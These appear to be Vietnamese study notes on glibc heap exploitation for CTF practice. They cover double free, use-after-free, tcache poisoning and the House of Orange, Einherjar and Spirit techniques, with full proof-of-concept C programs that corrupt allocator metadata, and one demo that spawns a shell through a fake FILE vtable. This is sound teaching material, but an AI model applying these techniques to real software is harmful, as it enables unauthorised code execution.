Try   HackMD

Heap Exploitation

+--------------------+----------------------------+-----------------------+
|   Bug Used         |  Bin Attack                |   House               |
+--------------------+----------------------------+-----------------------+
|                    |  Fast Bin Attack           |   House of Spirit     |
|   Double Free      |  tcache attack             |   House of Lore       |
|   Heap Overflow    |  Unsorted Bin Attck        |   House of Force      |
|   Use After Free   |  Small / Large Bin Attck   |   House of Einherjar  |
|                    |  Unsafe Unlink             |   House of Orange     |
+--------------------+----------------------------+-----------------------+
  • tips
* unsorted_bin: để leak libc_base_address
* fast_bin : để leak heap_base_address
* small_bin: thì có thể leak được cả hai thứ trên

ref


Basic Exploit

Heap Overflow (HOF)

  • giống BOF nhưng phạm vi hoạt động lại nằm trong heap
  • đơn giản là ta có thể ghi đè địa chỉ ta muốn nhờ vào malloc()

ow size, fw, <win_addr>


Attack Hook (Hook Overwrite)

  • Hook cũng gần tương đồng GOTPLT
  • nếu GOT là nơi chứa địa chỉ hàm để thực thi thì ta sẽ thay đổi thành system() chẳng hạn và đến PLT sẽ thực thi cái địa chỉ chứa trong GOT
  • còn với Hook thì sẽ nằm trong 3 hàm free(), malloc()realloc()
    -> tương ứng là __free_hook, __malloc_hook__realloc_hook
  • khi thực thi 1 trong 3 free(), malloc()realloc() thì sẽ có bước kiểm tra cá giá trị của _hook
  • mặc định giá trị của _hook sẽ bằng NULL , nếu giá trị chứa trong _hook khác 0 -> thực thi cái bên trong _hook trước (trỏ về nội dung bên trong _hook)
  • control được _hook -> điều khiển được chương trình

:bulb: idea đơn giản về Attack Hook là ghi đè system() vào __free_hook và đến hàm free() sẽ nhận con trỏ ptr (ptr của chunk cần free() ở thanh ghi $rdi và mình chỉ cần truyền '/bin/sh' là có shell

:bulb: ngoài ra trên __malloc_hook có 1 chunk chứa size hợp lệ là 0x70 nằm ở __malloc_hook - 35

  • khi ta muốn __malloc_hook chứa one_gadget, thì tại chunk fake ở trên ta padding tầm 19 byte rồi 8 byte tiếp theo sẽ là one_gadget (muốn có shell ta trigger DBF)
  • khi ta muốn __malloc_hook chứa system, thì tại chunk fake ở trên ta padding tầm 19 byte rồi 8 byte tiếp theo sẽ là system (muốn có shell ta phải tạo fake chunk chứa '/bin/sh\0' ở địa chỉ ta sẽ lấy làm size($rdi) khi malloc())

🆘 lưu ý với libc 2.34 trở đi là hook không còn tác dụng


take a look

Double free (DBF)

  • DBF và UAF là 2 kĩ thuật khai thác phổ biến

CWE-415: Double Free (4.9)

  • bug nằm ở sau khi ta malloc() 1 chunk và free() nó nhưng lại không xoá con trỏ sau khi free()
    -> tiếp tục free cùng 1 con trỏ
    -> tận dụng điều đó để sửa chunk
  • DBF thường thấy nhất là free() cùng 1 con trỏ dẫn đến trong các bins sẽ có 2 freed_chunk trỏ lẫn nhau (thường được thấy là loop_detected)
  • TUY NHIÊN ở những version libc khác nhau sẽ có những cách trigger DBF khác nhau
    • với libc 2.26 trở xuống thì không có tcache, chỉ có fastbin thì ta cần free() 1 chunk đệm xen giữa (do cơ chế của fastbin để chặn lỗi DBF)

🎯 : DBF chủ yếu trigger để edit freed chunk và metadata
===> lần malloc() tiếp theo sẽ thay đổi 2 chunk loop lẫn nhau tạo thành 1 fake chunk


Use After Free (UAF)

  • nói một cách đơn giản, UAF có nghĩa đen là khi một chunk được giải phóng và reused
  • nhưng trên thực tế, đây là những tình huống sau
    • Sau khi chunk được free(), con trỏ tương ứng của nó được đặt thành NULL, nếu được malloc() sử dụng lại -> SIGSEGV Fault
    • Sau khi chunk được free(), con trỏ tương ứng của nó KHÔNG được đặt thành NULL, và sau đó trước khi nó được malloc() vào lần tiếp theo, không có code nào để sửa đổi chunk này, thì program có khả năng chạy bình thường.
    • Sau khi chunk được free(), con trỏ tương ứng của nó KHÔNG được đặt thành NULL, nhưng trước khi nó được malloc() lần sau, một số code sẽ sửa đổi chunk này, sau đó khi program reused lại chunk này, nó có khả năng xuất hiện BUG.
  • các bug UAF mà thường đề cập đến chủ yếu là hai tình huống cuối
  • ngoài ra, khi gọi con trỏ chunk không set thành NULL, sau khi được free() sẽ ở dưới dạng con trỏ lơ lửng (nằm trong các binning)
  • BUG này vẫn relevant và common ngày nay

cwe mitre

🎯 : UAF chủ yếu trigger để edit freed chunk và metadata
===> lần malloc() tiếp theo sẽ tận dụng chunk cũ thể sửa lại dữ liệu mình mong muốn

  • hứng thú sâu hơn thì bơi vào link này mà tìm hiểu =)))

Tcache Poisoning

  • là kỹ thuật trick tcache để sửa fd_pointer trở về nơi mình muốn malloc() lần kế
  • từ glibc 2.32 trở đi, ta phải leak thêm địa chỉ heap để fake
    new_fd = target ^ (heap >> 12)
  • source mẫu:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
	// disable buffering
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
		   "returning a pointer to an arbitrary location (in this case, the stack).\n"
		   "The attack is very similar to fastbin corruption attack.\n");
	printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
		   "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
	printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n"
		   "An heap address leak is needed to perform tcache poisoning.\n"
		   "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n");

	size_t stack_var[0x10];
	size_t *target = NULL;

	// choose a properly aligned target address
	for(int i=0; i<0x10; i++) {
		if(((long)&stack_var[i] & 0xf) == 0) {
			target = &stack_var[i];
			break;
		}
	}
	assert(target != NULL);

	printf("The address we want malloc() to return is %p.\n", target);

	printf("Allocating 2 buffers.\n");
	intptr_t *a = malloc(128);
	printf("malloc(128): %p\n", a);
	intptr_t *b = malloc(128);
	printf("malloc(128): %p\n", b);

	printf("Freeing the buffers...\n");
	free(a);
	free(b);

	printf("Now the tcache list has [ %p -> %p ].\n", b, a);
	printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
		   "to point to the location to control (%p).\n", sizeof(intptr_t), b, target);
	// VULNERABILITY
	// the following operation assumes the address of b is known, which requires a heap leak
	b[0] = (intptr_t)((long)target ^ (long)b >> 12);
	// VULNERABILITY
	printf("Now the tcache list has [ %p -> %p ].\n", b, target);

	printf("1st malloc(128): %p\n", malloc(128));
	printf("Now the tcache list has [ %p ].\n", target);

	intptr_t *c = malloc(128);
	printf("2nd malloc(128): %p\n", c);
	printf("We got the control\n");

	assert((long)target == (long)c);
	return 0;
}
  • về kỹ thuật này chỉ cần đọc source trên cũng hiểu muốn chúng ta làm cái gì
  • EXAMBLE:

Off-By-One / Poison Null Byte

  • là 1 bug chỉ chuẩn cho libc 2.23
  • khá giống với off_by_one trong lỗi BOF nhưng ở đây là mình cố ý thêm NULL byte chứ không tận dụng sự tự động thêm từ 1 hàm nhập đầu vào (hoặc program tự động thêm NULL vào cuối mỗi payload)
  • thì kỹ thuật này chủ yếu là ghi đè size của chunk tiếp theo thành 1 byte cuối là NULL
    -> mục đích bypass lỗi DBF trong tcache
    -> fake được sự gộp chunks

sửa next_size và bit INUSE
ví dụ 0x111 -> 0x100
khác với chỉ sửa bit INUSE (House of Enherjar)

  • ta cần fake cho chunk ta muốn DBF đã free() rồi thì bây giờ nếu có thể reallocate 1 chunk nào đó (thường là chunk trước chunk muốn trigger DBF) và tận dụng sửa size cho chunk này sau đó free() thôi
  • nói trắng ra là làm cho program bị lú lẫn về PREV_SIZE khi free 1 chunk
  • EXAMBLE:

House of X

  • lưu ý với mỗi glibc khác nhau sẽ có cách exploit khác nhau (có hoặc không có tcache)
  • chi tiết hơn xem trong how2heap
  • dưới đây là cách exploit mà mình từng làm

House of Orange

  • kĩ thuật này chỉ chuẩn cho libc 2.23
  • kỹ thuật này là sửa size của top_chunk
  • khiến đợt request malloc tiếp theo (lớn hơn size top_chunk) sẽ gọi sysmalloc (do không phân bổ từ top_chunk được)
  • nôm na ta sẽ có được 1 block freed chunk (chui vô ubin) mà không cần đến hàm free()

introduce

  • với các chunk bé hơn 128KB sẽ được ptmalloc2 dùng phương thức brk('break point' - thay đổi vùng nhớ heap)
  • với các chunk lớn hơn 128KB sẽ dùng sysmalloc với phương thức mmap (cấp phát bộ nhớ vào một vùng nhớ khác heap)

requirements

1. Forged size must be aligned to the memory page
2. size is greater than MINSIZE (0x10)
3. size is smaller than the chunk size + MINSIZE (0x10) applied afterwards
4. The prev inuse bit of size must be 1

===> với yêu cầu 1, ta chỉ sửa 1 kí tự của size
(ví dụ 0x4321 -> resize 0x0321)

  • nếu thoả mãn, gọi _init_free đưa vào ubin

what's next?

  • nếu ta malloc thêm 1 chunk nữa sẽ báo lỗi (Aborted) rồi end
  • khi call Abort, nó sẽ setup các file structure:
    _IO_flush_all_lockp -> _IO_list_all -> _IO_OVERFLOW (vtable)
  • rồi sử dụng __overflow(trong vtable) để execute phân đoạn mình muốn

mẫu cho các section trong vtable
vì *vtable_IO_file_jumps

  • ta có thể thay đổi _IO_list_all->*vtable (cụ thể là __overflow trong _IO_OVERFLOW ) thành system() hoặc one_gadget
_IO_flush_all_lockp -> _IO_list_all -> _IO_OVERFLOW (vtable)
                            |
                            |------------> fake file structure
  • khi này ta sử dụng ubin attack, thay bk_pointer bằng _IO_list_all - 0x10 để khi malloc một chunk mới, nó ow địa chỉ _IO_list_all

how?

setup

top[3] = io_list_all - 0x10; //bk_pointer

memcpy( ( char *) top, "/bin/sh\x00", 8); //_flags

top[1] = 0x61; //size

FILE *fp = (FILE *) top;

fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28

fp->_mode = 0; // top+0xc0

size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8

note

ở đúng vị trí top+0xd81 heap_addr 
#top+0xd8 là vtable
và heap_addr đó tiếp tục trỏ ở 1 vị trí heap_addr khác
# *vtable = heap_addr
và heap_addr khác là chuỗi p64(0)*3 + p64(system) là được
  • why 0xd8 is vtable ?
  • _IO_write_ptr phải lớn hơn _IO_write_base (đơn giản để 3 > 2)
  • content trong *vtable

p64(0)*3 để padding qua __dummy , __dummy2__finish

tool

  • xem thêm
  • example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe
fileStr = FileStructure(0xdeadbeef)
payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe)

examble

  • source mẫu:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

/*
  The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
  It requires a leak of the heap and the libc
  Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/

/*
   This function is just present to emulate the scenario where
   the address of the function system is known.
*/
int winner ( char *ptr);

int main()
{
    /*
      The House of Orange starts with the assumption that a buffer overflow exists on the heap
      using which the Top (also called the Wilderness) chunk can be corrupted.
      
      At the beginning of execution, the entire heap is part of the Top chunk.
      The first allocations are usually pieces of the Top chunk that are broken off to service the request.
      Thus, with every allocation, the Top chunks keeps getting smaller.
      And in a situation where the size of the Top chunk is smaller than the requested value,
      there are two possibilities:
       1) Extend the Top chunk
       2) Mmap a new page

      If the size requested is smaller than 0x21000, then the former is followed.
    */

    char *p1, *p2;
    size_t io_list_all, *top;

    fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
        "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");
  
    fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
        "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

    /*
      Firstly, lets allocate a chunk on the heap.
    */

    p1 = malloc(0x400-16);

    /*
       The heap is usually allocated with a top chunk of size 0x21000
       Since we've allocate a chunk of size 0x400 already,
       what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01.

       The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap,
       it must also be page aligned at the end.

       Also, if a chunk that is adjacent to the Top chunk is to be freed,
       then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set.

       So that means that there are two conditions that must always be true.
        1) Top chunk + size has to be page aligned
        2) Top chunk's prev_inuse bit has to be set.

       We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE.
       What's left is 0x20c01

       Now, let's satisfy the conditions
       1) Top chunk + size has to be page aligned
       2) Top chunk's prev_inuse bit has to be set.
    */

    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    /* 
       Now we request a chunk of size larger than the size of the Top chunk.
       Malloc tries to service this request by extending the Top chunk
       This forces sysmalloc to be invoked.

       In the usual scenario, the heap looks like the following
          |------------|------------|------...----|
          |    chunk   |    chunk   | Top  ...    |
          |------------|------------|------...----|
      heap start                              heap end

       And the new area that gets allocated is contiguous to the old heap end.
       So the new size of the Top chunk is the sum of the old size and the newly allocated size.

       In order to keep track of this change in size, malloc uses a fencepost chunk,
       which is basically a temporary chunk.

       After the size of the Top chunk has been updated, this chunk gets freed.

       In our scenario however, the heap looks like
          |------------|------------|------..--|--...--|---------|
          |    chunk   |    chunk   | Top  ..  |  ...  | new Top |
          |------------|------------|------..--|--...--|---------|
     heap start                            heap end

       In this situation, the new Top will be starting from an address that is adjacent to the heap end.
       So the area between the second chunk and the heap end is unused.
       And the old Top chunk gets freed.
       Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes,
       it gets added to list of unsorted bins.
       Now we request a chunk of size larger than the size of the top chunk.
       This forces sysmalloc to be invoked.
       And ultimately invokes _int_free

       Finally the heap looks like this:
          |------------|------------|------..--|--...--|---------|
          |    chunk   |    chunk   | free ..  |  ...  | new Top |
          |------------|------------|------..--|--...--|---------|
     heap start                                             new heap end



    */

    p2 = malloc(0x1000);
    /*
      Note that the above chunk will be allocated in a different page
      that gets mmapped. It will be placed after the old heap's end

      Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins


      Here starts phase two of the attack. We assume that we have an overflow into the old
      top chunk so we could overwrite the chunk's size.
      For the second phase we utilize this overflow again to overwrite the fd and bk pointer
      of this chunk in the unsorted bin list.
      There are two common ways to exploit the current state:
        - Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations)
        - Use the unlinking of the chunk for an *where*-controlled write of the
          libc's main_arena unsorted-bin-list. (requires at least one allocation)

      The former attack is pretty straight forward to exploit, so we will only elaborate
      on a variant of the latter, developed by Angelboy in the blog post linked above.

      The attack is pretty stunning, as it exploits the abort call itself, which
      is triggered when the libc detects any bogus state of the heap.
      Whenever abort is triggered, it will flush all the file pointers by calling
      _IO_flush_all_lockp. Eventually, walking through the linked list in
      _IO_list_all and calling _IO_OVERFLOW on them.

      The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose
      _IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so
      that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh').
      More about file-pointer exploitation can be found here:
      https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

      The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they
      currently point to the libc's main_arena.
    */

    io_list_all = top[2] + 0x9a8;

    /*
      We plan to overwrite the fd and bk pointers of the old top,
      which has now been added to the unsorted bins.

      When malloc tries to satisfy a request by splitting this free chunk
      the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list
      in libc's main_arena.

      Note that this overwrite occurs before the sanity check and therefore, will occur in any
      case.

      Here, we require that chunk->bk->fd to be the value of _IO_list_all.
      So, we should set chunk->bk to be _IO_list_all - 16
    */
 
    top[3] = io_list_all - 0x10;

    /*
      At the end, the system function will be invoked with the pointer to this file pointer.
      If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
    */

    memcpy( ( char *) top, "/bin/sh\x00", 8);

    /*
      The function _IO_flush_all_lockp iterates through the file pointer linked-list
      in _IO_list_all.
      Since we can only overwrite this address with main_arena's unsorted-bin-list,
      the idea is to get control over the memory at the corresponding fd-ptr.
      The address of the next file pointer is located at base_address+0x68.
      This corresponds to smallbin-4, which holds all the smallbins of
      sizes between 90 and 98. For further information about the libc's bin organisation
      see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/

      Since we overflow the old top chunk, we also control it's size field.
      Here it gets a little bit tricky, currently the old top chunk is in the
      unsortedbin list. For each allocation, malloc tries to serve the chunks
      in this list first, therefore, iterates over the list.
      Furthermore, it will sort all non-fitting chunks into the corresponding bins.
      If we set the size to 0x61 (97) (prev_inuse bit has to be set)
      and trigger an non fitting smaller allocation, malloc will sort the old chunk into the
      smallbin-4. Since this bin is currently empty the old top chunk will be the new head,
      therefore, occupying the smallbin[4] location in the main_arena and
      eventually representing the fake file pointer's fd-ptr.

      In addition to sorting, malloc will also perform certain size checks on them,
      so after sorting the old top chunk and following the bogus fd pointer
      to _IO_list_all, it will check the corresponding size field, detect
      that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ"
      and finally triggering the abort call that gets our chain rolling.
      Here is the corresponding code in the libc:
      https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717
    */

    top[1] = 0x61;

    /*
      Now comes the part where we satisfy the constraints on the fake file pointer
      required by the function _IO_flush_all_lockp and tested here:
      https://code.woboq.org/userspace/glibc/libio/genops.c.html#813

      We want to satisfy the first condition:
      fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
    */

    FILE *fp = (FILE *) top;


    /*
      1. Set mode to 0: fp->_mode <= 0
    */

    fp->_mode = 0; // top+0xc0


    /*
      2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
    */

    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28


    /*
      4) Finally set the jump table to controlled memory and place system there.
      The jump table pointer is right after the FILE struct:
      base_address+sizeof(FILE) = jump_table

         4-a)  _IO_OVERFLOW  calls the ptr at offset 3: jump_table+0x18 == winner
    */

    size_t *jump_table = &top[12]; // controlled memory
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8


    /* Finally, trigger the whole chain by calling malloc */
    malloc(10);

   /*
     The libc's error message will be printed to the screen
     But you'll get a shell anyways.
   */

    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    syscall(SYS_exit, 0);
    return 0;
}
  • link thêm file libc này để compile

copy libc và ld qua source trên compile
lệnh : $ gcc orange.c -o orange libc_64.so.6 ld-2.23.so sau đó pwninit để có thể debug được file orange_patched


House of Enherjar

demo trên glibc 2.27

  • là 1 kĩ thuật Posion NULL byte (hay Off_By_one) -> sửa bit INUSE thành NON_INUSE, đồng thời set PREV_SIZE
    => free sẽ vào ubin
    ==> consolidate chunk (overlapping chunk)
    ===> attacker could control data

what happend?

assume tcache [0x100] is filled
0x100 is not suitable in fastbins
assume next_chunk of victim is INUSE or top_chunk

next_chunk is INUSE

next_chunk is top_chunk

exploit

  • ta đã có overlapping chunk -> can control heap metadata
  • trong cách khai thác ở libc 2.27, poison tcache -> free_hook
    • allocate chunk (X) từ vùng overlapped
    • free X vào tcache
    • edit prev_chunk để thay đổi X (next ptr) là free_hook
    • allocate chunk (trả về X), truyền tham số '/bin/sh\0'
    • allocate chunk (trả về free_hook), truyền tham số system
    • free X

examble

  • source mẫu:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

/*
   Credit to st4g3r for publishing this technique
   The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. 
*/

int main()
{
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("Welcome to House of Einherjar!\n");
	printf("Tested in Ubuntu 18.04.4 64bit.\n");
	printf("This technique only works with disabled tcache-option for glibc or with size of b larger than 0x408, see build_glibc.sh for build instructions.\n");
	printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

	uint8_t* a;
	uint8_t* b;
	uint8_t* d;

	printf("\nWe allocate 0x38 bytes for 'a'\n");
	a = (uint8_t*) malloc(0x38);
	printf("a: %p\n", a);
   
	int real_a_size = malloc_usable_size(a);
	printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

	// create a fake chunk
	printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
	printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
	printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
	printf("(although we could do the unsafe unlink technique here in some scenarios)\n");

	size_t fake_chunk[6];

	fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
	fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
	fake_chunk[2] = (size_t) fake_chunk; // fwd
	fake_chunk[3] = (size_t) fake_chunk; // bck
	fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
	fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


	printf("Our fake chunk at %p looks like:\n", fake_chunk);
	printf("prev_size (not used): %#lx\n", fake_chunk[0]);
	printf("size: %#lx\n", fake_chunk[1]);
	printf("fwd: %#lx\n", fake_chunk[2]);
	printf("bck: %#lx\n", fake_chunk[3]);
	printf("fwd_nextsize: %#lx\n", fake_chunk[4]);
	printf("bck_nextsize: %#lx\n", fake_chunk[5]);

	/* In this case it is easier if the chunk size attribute has a least significant byte with
	 * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
	 * the chunk includes the amount requested plus some amount required for the metadata. */
	b = (uint8_t*) malloc(0x4f8);
	int real_b_size = malloc_usable_size(b);

	printf("\nWe allocate 0x4f8 bytes for 'b'.\n");
	printf("b: %p\n", b);

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);
	/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

	printf("\nb.size: %#lx\n", *b_size_ptr);
	printf("b.size is: (0x500) | prev_inuse = 0x501\n");
	printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
	/* VULNERABILITY */
	a[real_a_size] = 0; 
	/* VULNERABILITY */
	printf("b.size: %#lx\n", *b_size_ptr);
	printf("This is easiest if b.size is a multiple of 0x100 so you "
		   "don't change the size of b, only its prev_inuse bit\n");
	printf("If it had been modified, we would need a fake chunk inside "
		   "b where it will try to consolidate the next chunk\n");

	// Write a fake prev_size to the end of a
	printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
		   "it will consolidate with our fake chunk\n", sizeof(size_t));
	size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
	printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
	*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

	//Change the fake chunk's size to reflect b's new prev_size
	printf("\nModify fake chunk's size to reflect b's new prev_size\n");
	fake_chunk[1] = fake_size;

	// free b and it will consolidate with our fake chunk
	printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
	free(b);
	printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

	//if we allocate another chunk before we free b we will need to 
	//do two things: 
	//1) We will need to adjust the size of our fake chunk so that
	//fake_chunk + fake_chunk's size points to an area we control
	//2) we will need to write the size of our fake chunk
	//at the location we control. 
	//After doing these two things, when unlink gets called, our fake chunk will
	//pass the size(P) == prev_size(next_chunk(P)) test. 
	//otherwise we need to make sure that our fake chunk is up against the
	//wilderness
	//

	printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
	d = malloc(0x200);
	printf("Next malloc(0x200) is at %p\n", d);

	assert((long)d == (long)&fake_chunk[2]);
}

House of Spirit

  • là một kỹ thuật malloc() 1 chunk từ stack
  • khiến cho lần ow tiếp theo nằm trên stack để thực hiện ROP

overview

  • khi ta setup đầy đủ cả prev_size và size cho 2 fake_chunks
  • khi free() thằng đầu tiên -> fake_chunk nằm trong bin
    -> rơi vào fastbins hoặc tcache (fastbins sẽ khó hơn vì còn các security check)
    ===> malloc() đến size mình muốn để reused fake_chunk

restrictions

  • có 3 hạn chế ta cần thoã mãn
1. Size chunks must be within the fastin|tcache range
2. Size values must be placed where they were an actual chunk
3. Size of the first heap chunnk (freed and reallocated)
   must be the same as the rounded up heap size
  • tức là để tránh các lỗi như Invalid pointer khi free() thì fake_chunk phải là địa chỉ hợp lệ (16-byte aligned)

addr có đuôi 0x0 thay vì 0x8 ( tương tự với lỗi xmm )

how?

  • tất nhiên ở mọi bài heap, ta cần có libc
  • đầu tiên cần có ubin

fillup tcache hoặc malloc() size > 0x410

  • sau đó cần có con trỏ ptr trỏ về chunk VICTIM ta muốn attack
  • rồi free(ptr) -> vào bin
  • lần malloc(size) tiếp theo (với size của fake_chunk) sẽ trả về con trỏ ta muốn

fastbins

    +-------+---------------------+------+
    | 0x00: | Chunk # 0 prev size | 0x00 |
    +-------+---------------------+------+
    | 0x08: | Chunk # 0 size      | 0x60 |
    +-------+---------------------+------+
    | 0x10: | Chunk # 0 content   | 0x00 |
    +-------+---------------------+------+
    | 0x60: | Chunk # 1 prev size | 0x00 |
    +-------+---------------------+------+
    | 0x68: | Chunk # 1 size      | 0x40 |
    +-------+---------------------+------+
    | 0x70: | Chunk # 1 content   | 0x00 |
    +-------+---------------------+------+
  • free( 0 ) > check next_chunk ( 1 )
    ===> satisfy size chunk(1) from 0x10 -> 0x70

examble

  • source mẫu:
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	puts("This file demonstrates the house of spirit attack.");
	puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.");
	puts("Required primitives: known target address, ability to set up the start/end of the target memory");

	puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache");
	void *chunks[7];
	for(int i=0; i<7; i++) {
		chunks[i] = malloc(0x30);
	}
	for(int i=0; i<7; i++) {
		free(chunks[i]);
	}

	puts("\nStep 2: Prepare the fake chunk");
	// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
	long fake_chunks[10] __attribute__ ((aligned (0x10)));
	printf("The target fake chunk is at %p\n", fake_chunks);
	printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]);
	printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.");
	printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]);
	fake_chunks[1] = 0x40; // this is the size

	printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
	printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]);
	fake_chunks[9] = 0x1234; // nextsize

	puts("\nStep 3: Free the first fake chunk");
	puts("Note that the address of the fake chunk must be 16-byte aligned.\n");
	void *victim = &fake_chunks[2];
	free(victim);

	puts("\nStep 4: Take out the fake chunk");
	printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]);
	printf("malloc can do the trick as well, you just need to do it for 8 times.");
	void *allocated = calloc(1, 0x30);
	printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);

	assert(allocated == victim);
}

tcache

  • securit check sẽ không kiểm tra next_chunk
    -> miễn chỉ cần free() 1 addr hợp lệ

examble

  • source mẫu:
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	printf("This file demonstrates the house of spirit attack on tcache.\n");
	printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
	printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
	printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");

	printf("Ok. Let's start with the example!.\n\n");


	printf("Calling malloc() once so that it sets up its memory.\n");
	malloc(1);

	printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
	unsigned long long *a; //pointer that will be overwritten
	unsigned long long fake_chunks[10]; //fake chunk region

	printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);

	printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
	fake_chunks[1] = 0x40; // this is the size


	printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
